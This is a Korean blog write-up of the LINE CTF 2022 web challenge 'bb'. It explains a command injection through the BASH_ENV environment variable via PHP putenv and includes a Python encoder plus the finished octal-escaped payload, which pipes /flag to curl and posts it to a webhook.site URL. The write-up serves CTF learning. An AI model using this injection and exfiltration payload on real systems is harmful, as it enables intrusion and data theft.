티스토리 뷰

보안/CTF

[LINECTF2022] [WEB] bb 문제풀이(writeup)

돔돔이부하 2022. 3. 28. 12:29
728x90
반응형

문제 개요

Command Injection using BASH_ENV Environment Variable

 

코드 분석

<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

위는 문제로부터 주어진 전체 소스코드입니다. 

 

우선 bye 함수부터 보면 $ptn 에 정규식이 오고, $s에 문자열이 온다고 했을 때 문자열이 정규식에 일치하는 패턴이면 false 를 반환하고 일치하지 않으면 true를 반환한다고 합니다.

function bye($s, $ptn){
    if(preg_match($ptn, $s)){
        return false;
    }
    return true;
}

 

그리고 바로 아래 $_GET["env"] 에는 URL 파라미터 중 env 파라미터 값을 받아오고 있는데요. foreach 를 사용한 거보니 해당 값을 배열로 받아오는 것 같습니다.

foreach($_GET["env"] as $k=>$v){
    if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
        putenv("{$k}={$v}");
    }
}

그러면 이 때 파라미터를 아래와 같이 넘겼다고 가정하면

?env[TEST]=ABC

foreach 문에서 $k 에는 TEST 가 들어가고 $v 에는 ABC 가 들어가게 되겠습니다.

 

그리고 foreach 안에 있는 조건문을 확인했을 때 $k 에는 = 가 들어가면 안되고, $v 에는 영문자 알파벳이 한 개도 포함되서는 안된다고 합니다. 그러므로 hex 값도 이용못합니다. 왜냐하면 \x65 이런 형태로 결국 x 라는 문자가 포함되기 때문이죠. 그래서 문제풀이 때는 octet 을 이용합니다.

 

PHP 에서 putenv 라는 함수는 말그대로 환경변수를 설정하게 해주는 함수입니다. 사용법은 아래 링크를 참고합니다.

https://www.php.net/manual/en/function.putenv.php

 

PHP: putenv - Manual

Environment variables are part of the underlying operating system's way of doing things, and are used to pass information between a parent process and its child, as well as to affect the way some internal functions behave.  They should not be regarded as

www.php.net

 

원래라면 아래 system 함수를 실행하게 되면 imdude 라는 명령어가 존재하지 않기 때문에 오류가 발생할 것입니다.

system("bash -c 'imdude'");

 

그렇기 때문에 BASH 쉘 특징 상 BASH_ENV 환경변수가 설정되어 있다면 이에 값으로 들어있는 명령어가 적혀있는 파일을 먼저 실행되게끔 해줘야 합니다. BASH_ENV 함수에 대한 간단한 설명은 아래 링크의 bash 매뉴얼을 참고합니다.

https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html#Invoked-non_002dinteractively

 

Bash Startup Files (Bash Reference Manual)

6.2 Bash Startup Files This section describes how Bash executes its startup files. If any of the files exist but cannot be read, Bash reports an error. Tildes are expanded in filenames as described above under Tilde Expansion (see Tilde Expansion). Interac

www.gnu.org

 

이제 위 방법을 이용해서 문제를 풀어봅니다.

 

문제 풀이

Python 으로 Payload를 만들어주는 코드를 간단하게 짜보았습니다. 딱히 여러 활용성을 고려하지 않고 문제를 풀 때 당시에 임시로 작성한 거긴 하지만요.

string = ""
_string="""cat /flag | curl https://webhook.site/bd672f1a-3877-40ec-a54d-377bd5b99190 -d @-"""
for i in _string.strip():
	ch = (oct(ord(i))+'')+''
	ch = ch.replace('0o', ' 0') if len(ch) == 4 else ch.replace('0o', ' ')
	string+=ch

string = ' '+string.replace('\n', ' ').replace(' ', '\\').replace('\\040', ' ')
string = string.replace(' ','\' $\'')[2:]+'\''
string = string.replace("$'\\174'", '|')
string = '$((' + string + ');)'
print(string)

우선 명령어는 cat /flag 한 결과를 curl 의 POST data로 넣어서 공격자의 서버에 보내주게끔 하는 시나리오입니다.

다만 위 코드 분석에서도 말했다시피 그냥 문자열을 보내서는 안되기 때문에 octet 으로 변환해줍니다.

 

그러면 최종 결과적으로 아래와 같은 문자열이 나오게 됩니다.

$(($'\143\141\164' $'\057\146\154\141\147' | $'\143\165\162\154' $'\150\164\164\160\163\072\057\057\167\145\142\150\157\157\153\056\163\151\164\145\057\142\144\066\067\062\146\061\141\055\063\070\067\067\055\064\060\145\143\055\141\065\064\144\055\063\067\067\142\144\065\142\071\071\061\071\060' $'\055\144' $'\100\055');)

 

이제 위 페이로드를 URL 파라미터에 넣어주면 문제는 풀립니다.

?env[BASH_ENV]=$(($%27\143\141\164%27%20$%27\057\146\154\141\147%27%20|%20$%27\143\165\162\154%27%20$%27\150\164\164\160\163\072\057\057\167\145\142\150\157\157\153\056\163\151\164\145\057\142\144\066\067\062\146\061\141\055\063\070\067\067\055\064\060\145\143\055\141\065\064\144\055\063\067\067\142\144\065\142\071\071\061\071\060%27%20$%27\055\144%27%20$%27\100\055%27);)

 

해당 문제는 LINECTF2022 에서 web 그리고 misc 분류에 해당하는 문제였으며 warmup 문제였지만 bash shell script 에 대해서 잘 몰랐기에 저는 다소 시간이 걸렸던 것 같습니다!

 

- 끝 -

728x90
반응형
댓글